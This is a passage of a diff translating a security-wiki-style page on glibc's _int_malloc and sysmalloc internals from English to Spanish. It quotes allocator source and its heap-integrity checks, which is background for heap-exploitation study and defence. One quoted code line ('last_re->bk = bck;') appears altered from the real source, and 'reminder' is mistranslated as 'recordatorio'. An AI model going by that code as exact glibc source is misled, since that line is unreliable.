+p->fd = first_unsorted; +set_foot(p, size); +} - else { - size += nextsize; - set_head(p, size | PREV_INUSE); - av->top = p; - } +else { +size += nextsize; +set_head(p, size | PREV_INUSE); +av->top = p; +} - } while ( (p = nextp) != 0); +} while ( (p = nextp) != 0); - } - } while (fb++ != maxfb); +} +} while (fb++ != maxfb); } ``` -
### Unsorted bin -It's time to check the unsorted bin for a potential valid chunk to use. +Es hora de revisar el unsorted bin en busca de un posible chunk válido para usar. #### Start -This starts with a big for look that will be traversing the unsorted bin in the `bk` direction until it arrives til the end (the arena struct) with `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` +Esto comienza con un gran bucle for que recorrerá el unsorted bin en la dirección `bk` hasta llegar al final (la estructura arena) con `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` -Moreover, some security checks are perform every time a new chunk is considered: +Además, se realizan algunas verificaciones de seguridad cada vez que se considera un nuevo chunk: -- If the chunk size is weird (too small or too big): `malloc(): invalid size (unsorted)` -- If the next chunk size is weird (too small or too big): `malloc(): invalid next size (unsorted)` -- If the previous size indicated by the next chunk differs from the size of the chunk: `malloc(): mismatching next->prev_size (unsorted)` -- If not `victim->bck->fd == victim` or not `victim->fd == av` (arena): `malloc(): unsorted double linked list corrupted` - - As we are always checking the las one, it's `fd` should be pointing always to the arena struct. -- If the next chunk isn't indicating that the previous is in use: `malloc(): invalid next->prev_inuse (unsorted)` +- Si el tamaño del chunk es extraño (demasiado pequeño o demasiado grande): `malloc(): invalid size (unsorted)` +- Si el tamaño del siguiente chunk es extraño (demasiado pequeño o demasiado grande): `malloc(): invalid next size (unsorted)` +- Si el tamaño anterior indicado por el siguiente chunk difiere del tamaño del chunk: `malloc(): mismatching next->prev_size (unsorted)` +- Si no `victim->bck->fd == victim` o no `victim->fd == av` (arena): `malloc(): unsorted double linked list corrupted` +- Como siempre estamos verificando el último, su `fd` debería estar apuntando siempre a la estructura arena. +- Si el siguiente chunk no indica que el anterior está en uso: `malloc(): invalid next->prev_inuse (unsorted)`
_int_malloc unsorted bin start - ```c /* - Process recently freed or remaindered chunks, taking one only if - it is exact fit, or, if this a small request, the chunk is remainder from - the most recent non-exact fit. Place other traversed chunks in - bins. Note that this step is the only place in any routine where - chunks are placed in bins. +Process recently freed or remaindered chunks, taking one only if +it is exact fit, or, if this a small request, the chunk is remainder from +the most recent non-exact fit. Place other traversed chunks in +bins. Note that this step is the only place in any routine where +chunks are placed in bins. - The outer loop here is needed because we might not realize until - near the end of malloc that we should have consolidated, so must - do so and retry. This happens at most once, and only when we would - otherwise need to expand memory to service a "small" request. - */ +The outer loop here is needed because we might not realize until +near the end of malloc that we should have consolidated, so must +do so and retry. This happens at most once, and only when we would +otherwise need to expand memory to service a "small" request. +*/ #if USE_TCACHE - INTERNAL_SIZE_T tcache_nb = 0; - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - tcache_nb = nb; - int return_cached = 0; +INTERNAL_SIZE_T tcache_nb = 0; +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +tcache_nb = nb; +int return_cached = 0; - tcache_unsorted_count = 0; +tcache_unsorted_count = 0; #endif - for (;; ) - { - int iters = 0; - while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) - { - bck = victim->bk; - size = chunksize (victim); - mchunkptr next = chunk_at_offset (victim, size); +for (;; ) +{ +int iters = 0; +while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) +{ +bck = victim->bk; +size = chunksize (victim); +mchunkptr next = chunk_at_offset (victim, size); - if (__glibc_unlikely (size <= CHUNK_HDR_SZ) - || __glibc_unlikely (size > av->system_mem)) - malloc_printerr ("malloc(): invalid size (unsorted)"); - if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ) - || __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) - malloc_printerr ("malloc(): invalid next size (unsorted)"); - if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) - malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); - if (__glibc_unlikely (bck->fd != victim) - || __glibc_unlikely (victim->fd != unsorted_chunks (av))) - malloc_printerr ("malloc(): unsorted double linked list corrupted"); - if (__glibc_unlikely (prev_inuse (next))) - malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); +if (__glibc_unlikely (size <= CHUNK_HDR_SZ) +|| __glibc_unlikely (size > av->system_mem)) +malloc_printerr ("malloc(): invalid size (unsorted)"); +if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ) +|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) +malloc_printerr ("malloc(): invalid next size (unsorted)"); +if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) +malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); +if (__glibc_unlikely (bck->fd != victim) +|| __glibc_unlikely (victim->fd != unsorted_chunks (av))) +malloc_printerr ("malloc(): unsorted double linked list corrupted"); +if (__glibc_unlikely (prev_inuse (next))) +malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); ``` -
-#### if `in_smallbin_range` +#### si `in_smallbin_range` -If the chunk is bigger than the requested size use it, and set the rest of the chunk space into the unsorted list and update the `last_remainder` with it. +Si el chunk es más grande que el tamaño solicitado, úsalo y coloca el resto del espacio del chunk en la lista no ordenada y actualiza el `last_remainder` con él.
-_int_malloc unsorted bin in_smallbin_range - +_int_malloc bin no ordenado in_smallbin_range ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4090C11-L4124C14 /* - If a small request, try to use last remainder if it is the - only chunk in unsorted bin. This helps promote locality for - runs of consecutive small requests. This is the only - exception to best-fit, and applies only when there is - no exact fit for a small chunk. - */ +If a small request, try to use last remainder if it is the +only chunk in unsorted bin. This helps promote locality for +runs of consecutive small requests. This is the only +exception to best-fit, and applies only when there is +no exact fit for a small chunk. +*/ - if (in_smallbin_range (nb) && - bck == unsorted_chunks (av) && - victim == av->last_remainder && - (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) - { - /* split and reattach remainder */ - remainder_size = size - nb; - remainder = chunk_at_offset (victim, nb); - unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; - av->last_remainder = remainder; - remainder->bk = remainder->fd = unsorted_chunks (av); - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } +if (in_smallbin_range (nb) && +bck == unsorted_chunks (av) && +victim == av->last_remainder && +(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) +{ +/* split and reattach remainder */ +remainder_size = size - nb; +remainder = chunk_at_offset (victim, nb); +unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; +av->last_remainder = remainder; +remainder->bk = remainder->fd = unsorted_chunks (av); +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} ``` -
-If this was successful, return the chunk ant it's over, if not, continue executing the function... +Si esto fue exitoso, devuelve el chunk y se acabó, si no, continúa ejecutando la función... -#### if equal size +#### si tamaño igual -Continue removing the chunk from the bin, in case the requested size is exactly the one of the chunk: +Continúa eliminando el chunk del bin, en caso de que el tamaño solicitado sea exactamente el del chunk: -- If the tcache is not filled, add it to the tcache and continue indicating that there is a tcache chunk that could be used -- If tcache is full, just use it returning it +- Si el tcache no está lleno, agrégalo al tcache y continúa indicando que hay un chunk de tcache que podría ser utilizado +- Si el tcache está lleno, simplemente úsalo devolviéndolo
-_int_malloc unsorted bin equal size - +_int_malloc bin desordenado tamaño igual ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4126C11-L4157C14 /* remove from unsorted list */ - unsorted_chunks (av)->bk = bck; - bck->fd = unsorted_chunks (av); +unsorted_chunks (av)->bk = bck; +bck->fd = unsorted_chunks (av); - /* Take now instead of binning if exact fit */ +/* Take now instead of binning if exact fit */ - if (size == nb) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); +if (size == nb) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); #if USE_TCACHE - /* Fill cache first, return to user only if cache fills. - We may return one of these chunks later. */ - if (tcache_nb > 0 - && tcache->counts[tc_idx] < mp_.tcache_count) - { - tcache_put (victim, tc_idx); - return_cached = 1; - continue; - } - else - { +/* Fill cache first, return to user only if cache fills. +We may return one of these chunks later. */ +if (tcache_nb > 0 +&& tcache->counts[tc_idx] < mp_.tcache_count) +{ +tcache_put (victim, tc_idx); +return_cached = 1; +continue; +} +else +{ #endif - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; #if USE_TCACHE - } +} #endif - } +} ``` -
-If chunk not returned or added to tcache, continue with the code... +Si el chunk no se devuelve o se añade a tcache, continúa con el código... -#### place chunk in a bin +#### colocar chunk en un bin -Store the checked chunk in the small bin or in the large bin according to the size of the chunk (keeping the large bin properly organized). +Almacena el chunk verificado en el bin pequeño o en el bin grande según el tamaño del chunk (manteniendo el bin grande correctamente organizado). -There are security checks being performed to make sure both large bin doubled linked list are corrupted: +Se están realizando verificaciones de seguridad para asegurarse de que ambas listas enlazadas dobles del bin grande no estén corruptas: -- If `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)` -- If `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)` +- Si `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)` +- Si `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
-_int_malloc place chunk in a bin - +_int_malloc colocar chunk en un bin ```c /* place chunk in bin */ - if (in_smallbin_range (size)) - { - victim_index = smallbin_index (size); - bck = bin_at (av, victim_index); - fwd = bck->fd; - } - else - { - victim_index = largebin_index (size); - bck = bin_at (av, victim_index); - fwd = bck->fd; +if (in_smallbin_range (size)) +{ +victim_index = smallbin_index (size); +bck = bin_at (av, victim_index); +fwd = bck->fd; +} +else +{ +victim_index = largebin_index (size); +bck = bin_at (av, victim_index); +fwd = bck->fd; - /* maintain large bins in sorted order */ - if (fwd != bck) - { - /* Or with inuse bit to speed comparisons */ - size |= PREV_INUSE; - /* if smaller than smallest, bypass loop below */ - assert (chunk_main_arena (bck->bk)); - if ((unsigned long) (size) - < (unsigned long) chunksize_nomask (bck->bk)) - { - fwd = bck; - bck = bck->bk; +/* maintain large bins in sorted order */ +if (fwd != bck) +{ +/* Or with inuse bit to speed comparisons */ +size |= PREV_INUSE; +/* if smaller than smallest, bypass loop below */ +assert (chunk_main_arena (bck->bk)); +if ((unsigned long) (size) +< (unsigned long) chunksize_nomask (bck->bk)) +{ +fwd = bck; +bck = bck->bk; - victim->fd_nextsize = fwd->fd; - victim->bk_nextsize = fwd->fd->bk_nextsize; - fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; - } - else - { - assert (chunk_main_arena (fwd)); - while ((unsigned long) size < chunksize_nomask (fwd)) - { - fwd = fwd->fd_nextsize; - assert (chunk_main_arena (fwd)); - } +victim->fd_nextsize = fwd->fd; +victim->bk_nextsize = fwd->fd->bk_nextsize; +fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; +} +else +{ +assert (chunk_main_arena (fwd)); +while ((unsigned long) size < chunksize_nomask (fwd)) +{ +fwd = fwd->fd_nextsize; +assert (chunk_main_arena (fwd)); +} - if ((unsigned long) size - == (unsigned long) chunksize_nomask (fwd)) - /* Always insert in the second position. */ - fwd = fwd->fd; - else - { - victim->fd_nextsize = fwd; - victim->bk_nextsize = fwd->bk_nextsize; - if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) - malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); - fwd->bk_nextsize = victim; - victim->bk_nextsize->fd_nextsize = victim; - } - bck = fwd->bk; - if (bck->fd != fwd) - malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); - } - } - else - victim->fd_nextsize = victim->bk_nextsize = victim; - } +if ((unsigned long) size +== (unsigned long) chunksize_nomask (fwd)) +/* Always insert in the second position. */ +fwd = fwd->fd; +else +{ +victim->fd_nextsize = fwd; +victim->bk_nextsize = fwd->bk_nextsize; +if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) +malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); +fwd->bk_nextsize = victim; +victim->bk_nextsize->fd_nextsize = victim; +} +bck = fwd->bk; +if (bck->fd != fwd) +malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); +} +} +else +victim->fd_nextsize = victim->bk_nextsize = victim; +} - mark_bin (av, victim_index); - victim->bk = bck; - victim->fd = fwd; - fwd->bk = victim; - bck->fd = victim; +mark_bin (av, victim_index); +victim->bk = bck; +victim->fd = fwd; +fwd->bk = victim; +bck->fd = victim; ``` -
-#### `_int_malloc` limits +#### Límites de `_int_malloc` -At this point, if some chunk was stored in the tcache that can be used and the limit is reached, just **return a tcache chunk**. +En este punto, si algún chunk fue almacenado en el tcache que se puede usar y se alcanza el límite, simplemente **devuelve un chunk del tcache**. -Moreover, if **MAX_ITERS** is reached, break from the loop for and get a chunk in a different way (top chunk). +Además, si se alcanza **MAX_ITERS**, sal del bucle y obtén un chunk de otra manera (top chunk). -If `return_cached` was set, just return a chunk from the tcache to avoid larger searches. +Si `return_cached` fue establecido, simplemente devuelve un chunk del tcache para evitar búsquedas más grandes.
-_int_malloc limits - +_int_malloc límites ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4227C1-L4250C7 #if USE_TCACHE - /* If we've processed as many chunks as we're allowed while - filling the cache, return one of the cached ones. */ - ++tcache_unsorted_count; - if (return_cached - && mp_.tcache_unsorted_limit > 0 - && tcache_unsorted_count > mp_.tcache_unsorted_limit) - { - return tcache_get (tc_idx); - } +/* If we've processed as many chunks as we're allowed while +filling the cache, return one of the cached ones. */ +++tcache_unsorted_count; +if (return_cached +&& mp_.tcache_unsorted_limit > 0 +&& tcache_unsorted_count > mp_.tcache_unsorted_limit) +{ +return tcache_get (tc_idx); +} #endif #define MAX_ITERS 10000 - if (++iters >= MAX_ITERS) - break; - } +if (++iters >= MAX_ITERS) +break; +} #if USE_TCACHE - /* If all the small chunks we found ended up cached, return one now. */ - if (return_cached) - { - return tcache_get (tc_idx); - } +/* If all the small chunks we found ended up cached, return one now. */ +if (return_cached) +{ +return tcache_get (tc_idx); +} #endif ``` -
-If limits not reached, continue with the code... +Si no se alcanzan los límites, continúa con el código... -### Large Bin (by index) +### Gran Bin (por índice) -If the request is large (not in small bin) and we haven't yet returned any chunk, get the **index** of the requested size in the **large bin**, check if **not empty** of if the **biggest chunk in this bin is bigger** than the requested size and in that case find the **smallest chunk that can be used** for the requested size. +Si la solicitud es grande (no en el pequeño bin) y aún no hemos devuelto ningún chunk, obtén el **índice** del tamaño solicitado en el **gran bin**, verifica si **no está vacío** o si el **chunk más grande en este bin es más grande** que el tamaño solicitado y en ese caso encuentra el **chunk más pequeño que se puede usar** para el tamaño solicitado. -If the reminder space from the finally used chunk can be a new chunk, add it to the unsorted bin and the lsast_reminder is updated. +Si el espacio restante del chunk finalmente utilizado puede ser un nuevo chunk, agrégalo al bin no ordenado y se actualiza last_reminder. -A security check is made when adding the reminder to the unsorted bin: +Se realiza una verificación de seguridad al agregar el recordatorio al bin no ordenado: - `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks`
-_int_malloc Large bin (by index) - +_int_malloc Gran bin (por índice) ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4252C7-L4317C10 /* - If a large request, scan through the chunks of current bin in - sorted order to find smallest that fits. Use the skip list for this. - */ +If a large request, scan through the chunks of current bin in +sorted order to find smallest that fits. Use the skip list for this. +*/ - if (!in_smallbin_range (nb)) - { - bin = bin_at (av, idx); +if (!in_smallbin_range (nb)) +{ +bin = bin_at (av, idx); - /* skip scan if empty or largest chunk is too small */ - if ((victim = first (bin)) != bin - && (unsigned long) chunksize_nomask (victim) - >= (unsigned long) (nb)) - { - victim = victim->bk_nextsize; - while (((unsigned long) (size = chunksize (victim)) < - (unsigned long) (nb))) - victim = victim->bk_nextsize; +/* skip scan if empty or largest chunk is too small */ +if ((victim = first (bin)) != bin +&& (unsigned long) chunksize_nomask (victim) +>= (unsigned long) (nb)) +{ +victim = victim->bk_nextsize; +while (((unsigned long) (size = chunksize (victim)) < +(unsigned long) (nb))) +victim = victim->bk_nextsize; - /* Avoid removing the first entry for a size so that the skip - list does not have to be rerouted. */ - if (victim != last (bin) - && chunksize_nomask (victim) - == chunksize_nomask (victim->fd)) - victim = victim->fd; +/* Avoid removing the first entry for a size so that the skip +list does not have to be rerouted. */ +if (victim != last (bin) +&& chunksize_nomask (victim) +== chunksize_nomask (victim->fd)) +victim = victim->fd; - remainder_size = size - nb; - unlink_chunk (av, victim); +remainder_size = size - nb; +unlink_chunk (av, victim); - /* Exhaust */ - if (remainder_size < MINSIZE) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); - } - /* Split */ - else - { - remainder = chunk_at_offset (victim, nb); - /* We cannot assume the unsorted list is empty and therefore - have to perform a complete insert here. */ - bck = unsorted_chunks (av); - fwd = bck->fd; - if (__glibc_unlikely (fwd->bk != bck)) - malloc_printerr ("malloc(): corrupted unsorted chunks"); - last_re->bk = bck; - remainder->fd = fwd; - bck->fd = remainder; - fwd->bk = remainder; - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); - } - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +/* Exhaust */ +if (remainder_size < MINSIZE) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); +} +/* Split */ +else +{ +remainder = chunk_at_offset (victim, nb); +/* We cannot assume the unsorted list is empty and therefore +have to perform a complete insert here. */ +bck = unsorted_chunks (av); +fwd = bck->fd; +if (__glibc_unlikely (fwd->bk != bck)) +malloc_printerr ("malloc(): corrupted unsorted chunks"); +last_re->bk = bck; +remainder->fd = fwd; +bck->fd = remainder; +fwd->bk = remainder; +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); +} +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
-If a chunk isn't found suitable for this, continue +Si no se encuentra un chunk adecuado para esto, continúa -### Large Bin (next bigger) +### Gran Bin (siguiente más grande) -If in the exact large bin there wasn't any chunk that could be used, start looping through all the next large bin (starting y the immediately larger) until one is found (if any). +Si en el gran bin exacto no había ningún chunk que pudiera ser utilizado, comienza a recorrer todos los siguientes gran bin (comenzando por el inmediatamente más grande) hasta que se encuentre uno (si es que hay). -The reminder of the split chunk is added in the unsorted bin, last_reminder is updated and the same security check is performed: +El recordatorio del chunk dividido se agrega en el bin no ordenado, last_reminder se actualiza y se realiza la misma verificación de seguridad: - `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks2`
-_int_malloc Large bin (next bigger) - +_int_malloc Gran bin (siguiente más grande) ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4319C7-L4425C10 /* - Search for a chunk by scanning bins, starting with next largest - bin. This search is strictly by best-fit; i.e., the smallest - (with ties going to approximately the least recently used) chunk - that fits is selected. +Search for a chunk by scanning bins, starting with next largest +bin. This search is strictly by best-fit; i.e., the smallest +(with ties going to approximately the least recently used) chunk +that fits is selected. - The bitmap avoids needing to check that most blocks are nonempty. - The particular case of skipping all bins during warm-up phases - when no chunks have been returned yet is faster than it might look. - */ +The bitmap avoids needing to check that most blocks are nonempty. +The particular case of skipping all bins during warm-up phases +when no chunks have been returned yet is faster than it might look. +*/ - ++idx; - bin = bin_at (av, idx); - block = idx2block (idx); - map = av->binmap[block]; - bit = idx2bit (idx); +++idx; +bin = bin_at (av, idx); +block = idx2block (idx); +map = av->binmap[block]; +bit = idx2bit (idx); - for (;; ) - { - /* Skip rest of block if there are no more set bits in this block. */ - if (bit > map || bit == 0) - { - do - { - if (++block >= BINMAPSIZE) /* out of bins */ - goto use_top; - } - while ((map = av->binmap[block]) == 0); +for (;; ) +{ +/* Skip rest of block if there are no more set bits in this block. */ +if (bit > map || bit == 0) +{ +do +{ +if (++block >= BINMAPSIZE) /* out of bins */ +goto use_top; +} +while ((map = av->binmap[block]) == 0); - bin = bin_at (av, (block << BINMAPSHIFT)); - bit = 1; - } +bin = bin_at (av, (block << BINMAPSHIFT)); +bit = 1; +} - /* Advance to bin with set bit. There must be one. */ - while ((bit & map) == 0) - { - bin = next_bin (bin); - bit <<= 1; - assert (bit != 0); - } +/* Advance to bin with set bit. There must be one. */ +while ((bit & map) == 0) +{ +bin = next_bin (bin); +bit <<= 1; +assert (bit != 0); +} - /* Inspect the bin. It is likely to be non-empty */ - victim = last (bin); +/* Inspect the bin. It is likely to be non-empty */ +victim = last (bin); - /* If a false alarm (empty bin), clear the bit. */ - if (victim == bin) - { - av->binmap[block] = map &= ~bit; /* Write through */ - bin = next_bin (bin); - bit <<= 1; - } +/* If a false alarm (empty bin), clear the bit. */ +if (victim == bin) +{ +av->binmap[block] = map &= ~bit; /* Write through */ +bin = next_bin (bin); +bit <<= 1; +} - else - { - size = chunksize (victim); +else +{ +size = chunksize (victim); - /* We know the first chunk in this bin is big enough to use. */ - assert ((unsigned long) (size) >= (unsigned long) (nb)); +/* We know the first chunk in this bin is big enough to use. */ +assert ((unsigned long) (size) >= (unsigned long) (nb)); - remainder_size = size - nb; +remainder_size = size - nb; - /* unlink */ - unlink_chunk (av, victim); +/* unlink */ +unlink_chunk (av, victim); - /* Exhaust */ - if (remainder_size < MINSIZE) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); - } +/* Exhaust */ +if (remainder_size < MINSIZE) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); +} - /* Split */ - else - { - remainder = chunk_at_offset (victim, nb); +/* Split */ +else +{ +remainder = chunk_at_offset (victim, nb); - /* We cannot assume the unsorted list is empty and therefore - have to perform a complete insert here. */ - bck = unsorted_chunks (av); - fwd = bck->fd; - if (__glibc_unlikely (fwd->bk != bck)) - malloc_printerr ("malloc(): corrupted unsorted chunks 2"); - remainder->bk = bck; - remainder->fd = fwd; - bck->fd = remainder; - fwd->bk = remainder; +/* We cannot assume the unsorted list is empty and therefore +have to perform a complete insert here. */ +bck = unsorted_chunks (av); +fwd = bck->fd; +if (__glibc_unlikely (fwd->bk != bck)) +malloc_printerr ("malloc(): corrupted unsorted chunks 2"); +remainder->bk = bck; +remainder->fd = fwd; +bck->fd = remainder; +fwd->bk = remainder; - /* advertise as last remainder */ - if (in_smallbin_range (nb)) - av->last_remainder = remainder; - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); - } - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +/* advertise as last remainder */ +if (in_smallbin_range (nb)) +av->last_remainder = remainder; +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); +} +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
### Top Chunk -At this point, it's time to get a new chunk from the Top chunk (if big enough). +En este punto, es hora de obtener un nuevo chunk del Top chunk (si es lo suficientemente grande). -It starts with a security check making sure that the size of the chunk size is not too big (corrupted): +Comienza con una verificación de seguridad asegurándose de que el tamaño del chunk no sea demasiado grande (corrompido): - `chunksize(av->top) > av->system_mem`: `malloc(): corrupted top size` -Then, it'll use the top chunk space if it's large enough to create a chunk of the requested size.\ -If not, if there are fast chunks, consolidate them and try again.\ -Finally, if not enough space use `sysmalloc` to allocate enough size. +Luego, utilizará el espacio del top chunk si es lo suficientemente grande para crear un chunk del tamaño solicitado.\ +Si no, si hay chunks rápidos, consólidalos y vuelve a intentarlo.\ +Finalmente, si no hay suficiente espacio, utiliza `sysmalloc` para asignar el tamaño necesario.
_int_malloc Top chunk - ```c use_top: - /* - If large enough, split off the chunk bordering the end of memory - (held in av->top). Note that this is in accord with the best-fit - search rule. In effect, av->top is treated as larger (and thus - less well fitting) than any other available chunk since it can - be extended to be as large as necessary (up to system - limitations). +/* +If large enough, split off the chunk bordering the end of memory +(held in av->top). Note that this is in accord with the best-fit +search rule. In effect, av->top is treated as larger (and thus +less well fitting) than any other available chunk since it can +be extended to be as large as necessary (up to system +limitations). - We require that av->top always exists (i.e., has size >= - MINSIZE) after initialization, so if it would otherwise be - exhausted by current request, it is replenished. (The main - reason for ensuring it exists is that we may need MINSIZE space - to put in fenceposts in sysmalloc.) - */ +We require that av->top always exists (i.e., has size >= +MINSIZE) after initialization, so if it would otherwise be +exhausted by current request, it is replenished. (The main +reason for ensuring it exists is that we may need MINSIZE space +to put in fenceposts in sysmalloc.) +*/ - victim = av->top; - size = chunksize (victim); +victim = av->top; +size = chunksize (victim); - if (__glibc_unlikely (size > av->system_mem)) - malloc_printerr ("malloc(): corrupted top size"); +if (__glibc_unlikely (size > av->system_mem)) +malloc_printerr ("malloc(): corrupted top size"); - if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) - { - remainder_size = size - nb; - remainder = chunk_at_offset (victim, nb); - av->top = remainder; - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); +if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) +{ +remainder_size = size - nb; +remainder = chunk_at_offset (victim, nb); +av->top = remainder; +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} - /* When we are using atomic ops to free fast chunks we can get - here for all block sizes. */ - else if (atomic_load_relaxed (&av->have_fastchunks)) - { - malloc_consolidate (av); - /* restore original bin index */ - if (in_smallbin_range (nb)) - idx = smallbin_index (nb); - else - idx = largebin_index (nb); - } +/* When we are using atomic ops to free fast chunks we can get +here for all block sizes. */ +else if (atomic_load_relaxed (&av->have_fastchunks)) +{ +malloc_consolidate (av); +/* restore original bin index */ +if (in_smallbin_range (nb)) +idx = smallbin_index (nb); +else +idx = largebin_index (nb); +} - /* - Otherwise, relay to handle system-dependent cases - */ - else - { - void *p = sysmalloc (nb, av); - if (p != NULL) - alloc_perturb (p, bytes); - return p; - } - } +/* +Otherwise, relay to handle system-dependent cases +*/ +else +{ +void *p = sysmalloc (nb, av); +if (p != NULL) +alloc_perturb (p, bytes); +return p; +} +} } ``` -
## sysmalloc -### sysmalloc start +### sysmalloc inicio -If arena is null or the requested size is too big (and there are mmaps left permitted) use `sysmalloc_mmap` to allocate space and return it. +Si arena es nula o el tamaño solicitado es demasiado grande (y quedan mmaps permitidos) usa `sysmalloc_mmap` para asignar espacio y devolverlo.
-sysmalloc start - +inicio de sysmalloc ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531 /* - sysmalloc handles malloc cases requiring more memory from the system. - On entry, it is assumed that av->top does not have enough - space to service request for nb bytes, thus requiring that av->top - be extended or replaced. - */ +sysmalloc handles malloc cases requiring more memory from the system. +On entry, it is assumed that av->top does not have enough +space to service request for nb bytes, thus requiring that av->top +be extended or replaced. +*/ - static void * +static void * sysmalloc (INTERNAL_SIZE_T nb, mstate av) { - mchunkptr old_top; /* incoming value of av->top */ - INTERNAL_SIZE_T old_size; /* its size */ - char *old_end; /* its end address */ +mchunkptr old_top; /* incoming value of av->top */ +INTERNAL_SIZE_T old_size; /* its size */ +char *old_end; /* its end address */ - long size; /* arg to first MORECORE or mmap call */ - char *brk; /* return value from MORECORE */ +long size; /* arg to first 